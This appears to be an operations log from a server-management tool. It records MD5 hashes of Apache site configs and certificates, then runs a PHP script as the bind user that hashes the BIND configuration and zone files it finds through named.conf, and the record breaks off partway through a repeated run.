MD5(/etc/apache2/sites-available/hopeinstoughton_www_org.conf)= 69ac44f7d01057dfd0d60b6d70e2cdbd
MD5(/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7.crt)= 3d5dc1bcfa9c0cec3b16af3076a6ea61
MD5(/etc/apache2/sites-available/kjvdictionary_www_org.conf)= b97b6131af323b016d7b28fb2960ff1c
MD5(/etc/ssl/certs/00f32caf8ea0fbe0d1b245ad2ff4822f.crt)= 549ba716ac2271cdd94a49d9a8ea1aff
MD5(/etc/apache2/sites-available/theyoungdesigners_www_com.conf)= a6c0931f6394176c7cc5f85ea7e080aa
MD5(/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt)= 4f6045dc2924aafa17265364e3c8abbf
MD5(/etc/apache2/sites-available/theyoungdesigners_www_us.conf)= 7505b75b736acb52194d008b5b045b70
MD5(/etc/ssl/certs/f13c10b0bf992120e8f0bf3f4c84b2c5.crt)= 69454dedbff1b72b94ed9919a41770e6
MD5(/etc/apache2/sites-available/hostz_www_org.conf)= c5e9527303d808c3c8946eda24b85b7e
MD5(/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt)= f8b0f22797df53674558935069440c30
MD5(/etc/apache2/sites-available/default-ssl.conf)= 801f4c746a88b4228596cb260a4220c4
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= c4be37ab3f632c6df143b6808775a788
MD5(/etc/apache2/sites-available/000-default.conf)= f3066f67070ab9b1ad9bab81ca05330a
MD5(/etc/apache2/sites-available/hopeinstoughton_books_org.conf)= 2bd2e3cb453122a2de2bf54ece3f682e
MD5(/etc/apache2/sites-available/patientapps_support_com.conf)= 74d4c6b7f2d9c5ecbb1485b92ab36316
MD5(/etc/ssl/certs/4510c05efeebdbfa45526af095977c06.crt)= ba3f870f17f1ce4c5dca012dbf66fc9c
MD5(/etc/apache2/sites-available/pjy_eggshell_us.conf)= a6ab88bd5bd1f4ec0f149c30ce4839a5
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb.crt)= 5bcb355b1cd9276345c26e579ef01a27
MD5(/etc/apache2/sites-available/pjy_city_us.conf)= a817883aea5be6c13fcdf818876f4d1a
MD5(/etc/ssl/certs/befbdf65f8b0e883e7b64e5aabdbb04f.crt)= 9b15d7623157e45f0f206b48778332d1
MD5(/etc/apache2/sites-available/hopeinstoughton_vote_org.conf)= ddcd4e32e22447924e6ec8a823b87668
MD5(/etc/ssl/certs/277b862c622fb9fa5d441c9959ff5ee3.crt)= af9b874e8438743080c8b2c287cd9aad
MD5(/etc/apache2/sites-available/patientapps_beta_net.conf)= 1a89b4e364d9427aaa4b6a4f3ff98b06
MD5(/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8)= f4314725714b50baf4294e40e36c5b64
MD5(/etc/apache2/sites-available/nagios.conf)= cec9ae02b1fd0656575f8567dc09d651
link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2/sites-available/hostz_aries_org.conf
link(/etc/apache2/sites-enabled/anitayoung_www_net.conf)= /etc/apache2/sites-available/anitayoung_www_net.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn1_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_store_org.conf)= /etc/apache2/sites-available/kjvdictionary_store_org.conf
link(/etc/apache2/sites-enabled/pjy_www_us.conf)= /etc/apache2/sites-available/pjy_www_us.conf
link(/etc/apache2/sites-enabled/pjy_pkp_us.conf)= /etc/apache2/sites-available/pjy_pkp_us.conf
link(/etc/apache2/sites-enabled/patientapps_www_co.conf)= /etc/apache2/sites-available/patientapps_www_co.conf
link(/etc/apache2/sites-enabled/stoughton_www_link.conf)= /etc/apache2/sites-available/stoughton_www_link.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf)= /etc/apache2/sites-available/hopeinstoughton_www_org.conf
link(/etc/apache2/sites-enabled/kjvdictionary_www_org.conf)= /etc/apache2/sites-available/kjvdictionary_www_org.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf)= /etc/apache2/sites-available/theyoungdesigners_www_com.conf
link(/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf)= /etc/apache2/sites-available/theyoungdesigners_www_us.conf
link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2/sites-available/hostz_www_org.conf
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf)= /etc/apache2/sites-available/hopeinstoughton_books_org.conf
link(/etc/apache2/sites-enabled/patientapps_support_com.conf)= /etc/apache2/sites-available/patientapps_support_com.conf
link(/etc/apache2/sites-enabled/pjy_eggshell_us.conf)= /etc/apache2/sites-available/pjy_eggshell_us.conf
link(/etc/apache2/sites-enabled/pjy_city_us.conf)= /etc/apache2/sites-available/pjy_city_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf)= /etc/apache2/sites-available/hopeinstoughton_vote_org.conf
link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2/sites-available/patientapps_beta_net.conf
link(/etc/apache2/sites-enabled/nagios.conf)= /etc/apache2/sites-available/nagios.conf
2025-11-27 13:20:09: Establishing a connection
2025-11-27 13:20:10:
PUT: /tmp/pkp852504
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-27 13:20:10:
runuser -l bind -s /bin/bash -c '/tmp/pkp852504; rm /tmp/pkp852504'
2025-11-27 13:20:10:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-11-27 13:20:18: Establishing a connection
2025-11-27 13:20:18:
PUT: /tmp/pkp628680
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-11-27 13:20:18:
runuser -l bind -s /bin/bash -c '/tmp/pkp628680; rm /tmp/pkp628680'
2025-11-27 13:20:18:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
